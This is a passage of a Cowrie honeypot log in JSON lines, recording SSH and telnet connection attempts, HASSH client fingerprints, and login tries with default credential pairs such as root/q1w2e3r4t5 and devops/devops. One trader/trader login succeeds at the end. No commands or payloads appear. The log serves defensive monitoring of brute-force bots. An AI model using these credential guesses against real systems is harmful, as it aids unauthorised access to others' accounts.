2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:25:39.954038Z","src_ip":"141.11.88.14","session":"7ca3de28b42c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odroid","password":"odroid","message":"login attempt [odroid/odroid] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:25:40.902285Z","src_ip":"141.11.88.14","session":"7ca3de28b42c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:25:42.124120Z","src_ip":"141.11.88.14","session":"7ca3de28b42c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.143.231.24","src_port":53116,"dst_ip":"10.17.0.5","dst_port":22,"session":"b0cef230884b","protocol":"ssh","message":"New connection: 103.143.231.24:53116 (10.17.0.5:22) [session: b0cef230884b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:25:43.491602Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:25:43.495825Z","src_ip":"103.143.231.24","session":"b0cef230884b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:25:43.565831Z","src_ip":"103.143.231.24","session":"b0cef230884b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vnc","password":"123456","message":"login attempt [vnc/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:25:43.894179Z","src_ip":"103.143.231.24","session":"b0cef230884b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:25:44.967857Z","src_ip":"103.143.231.24","session":"b0cef230884b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":62046,"dst_ip":"10.17.0.5","dst_port":22,"session":"27be35b58790","protocol":"ssh","message":"New connection: 141.11.88.14:62046 (10.17.0.5:22) [session: 27be35b58790]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:25:47.624892Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:25:47.647296Z","src_ip":"141.11.88.14","session":"27be35b58790","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:25:47.722258Z","src_ip":"141.11.88.14","session":"27be35b58790","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devops","password":"devops","message":"login attempt [devops/devops] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:25:48.386578Z","src_ip":"141.11.88.14","session":"27be35b58790","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:25:49.575379Z","src_ip":"141.11.88.14","session":"27be35b58790","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":62092,"dst_ip":"10.17.0.5","dst_port":22,"session":"8270a57e169c","protocol":"ssh","message":"New connection: 141.11.88.14:62092 (10.17.0.5:22) [session: 8270a57e169c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:25:55.683764Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:25:55.856308Z","src_ip":"141.11.88.14","session":"8270a57e169c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:25:55.865778Z","src_ip":"141.11.88.14","session":"8270a57e169c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"q1w2e3r4t5","message":"login attempt [root/q1w2e3r4t5] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:25:56.451399Z","src_ip":"141.11.88.14","session":"8270a57e169c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":51598,"dst_ip":"159.203.135.109","dst_port":23,"session":"fb9cccd901b7","protocol":"telnet","message":"New connection: 172.81.62.90:51598 (159.203.135.109:23) [session: fb9cccd901b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:25:57.567592Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:25:57.876696Z","src_ip":"141.11.88.14","session":"8270a57e169c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":44744,"dst_ip":"159.203.135.109","dst_port":22,"session":"6d20c6c9140d","protocol":"ssh","message":"New connection: 27.71.230.31:44744 (159.203.135.109:22) [session: 6d20c6c9140d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:26:01.011862Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:26:01.064318Z","src_ip":"27.71.230.31","session":"6d20c6c9140d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:26:03.220746Z","src_ip":"27.71.230.31","session":"6d20c6c9140d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":30116,"dst_ip":"10.17.0.5","dst_port":22,"session":"50a3c63dae03","protocol":"ssh","message":"New connection: 141.11.88.14:30116 (10.17.0.5:22) [session: 50a3c63dae03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:26:04.865982Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:26:04.884716Z","src_ip":"141.11.88.14","session":"50a3c63dae03","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password@","message":"login attempt [root/Password@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:26:06.108694Z","src_ip":"27.71.230.31","session":"6d20c6c9140d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.4","message":"Connection lost after 6.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:26:07.376379Z","src_ip":"27.71.230.31","session":"6d20c6c9140d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":44154,"dst_ip":"10.17.0.5","dst_port":22,"session":"b2e8a8088b36","protocol":"ssh","message":"New connection: 141.11.88.14:44154 (10.17.0.5:22) [session: b2e8a8088b36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:26:09.759553Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:26:09.873496Z","src_ip":"141.11.88.14","session":"b2e8a8088b36","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:26:09.888559Z","src_ip":"141.11.88.14","session":"b2e8a8088b36","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"teamspeak","password":"1","message":"login attempt [teamspeak/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:26:10.505821Z","src_ip":"141.11.88.14","session":"b2e8a8088b36","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:26:11.695770Z","src_ip":"141.11.88.14","session":"b2e8a8088b36","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:26:14.357977Z","src_ip":"141.11.88.14","session":"50a3c63dae03","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alex","password":"alex","message":"login attempt [alex/alex] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:26:15.141144Z","src_ip":"141.11.88.14","session":"50a3c63dae03","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":44186,"dst_ip":"10.17.0.5","dst_port":22,"session":"7cc892a7c13f","protocol":"ssh","message":"New connection: 141.11.88.14:44186 (10.17.0.5:22) [session: 7cc892a7c13f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:26:16.245688Z"}
{"eventid":"cowrie.session.closed","duration":"11.4","message":"Connection lost after 11.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:26:16.290035Z","src_ip":"141.11.88.14","session":"50a3c63dae03","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:26:16.327844Z","src_ip":"141.11.88.14","session":"7cc892a7c13f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:26:16.331392Z","src_ip":"141.11.88.14","session":"7cc892a7c13f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"share","password":"share","message":"login attempt [share/share] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:26:17.030498Z","src_ip":"141.11.88.14","session":"7cc892a7c13f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:26:18.209657Z","src_ip":"141.11.88.14","session":"7cc892a7c13f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":58654,"dst_ip":"10.17.0.5","dst_port":22,"session":"f2505eac5e78","protocol":"ssh","message":"New connection: 141.11.88.14:58654 (10.17.0.5:22) [session: f2505eac5e78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:26:24.109181Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:26:24.125095Z","src_ip":"141.11.88.14","session":"f2505eac5e78","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:26:24.233569Z","src_ip":"141.11.88.14","session":"f2505eac5e78","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"trader","password":"trader","message":"login attempt [trader/trader] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:26:24.550603Z","src_ip":"141.11.88.14","session":"f2505eac5e78","protocol":"ssh"}
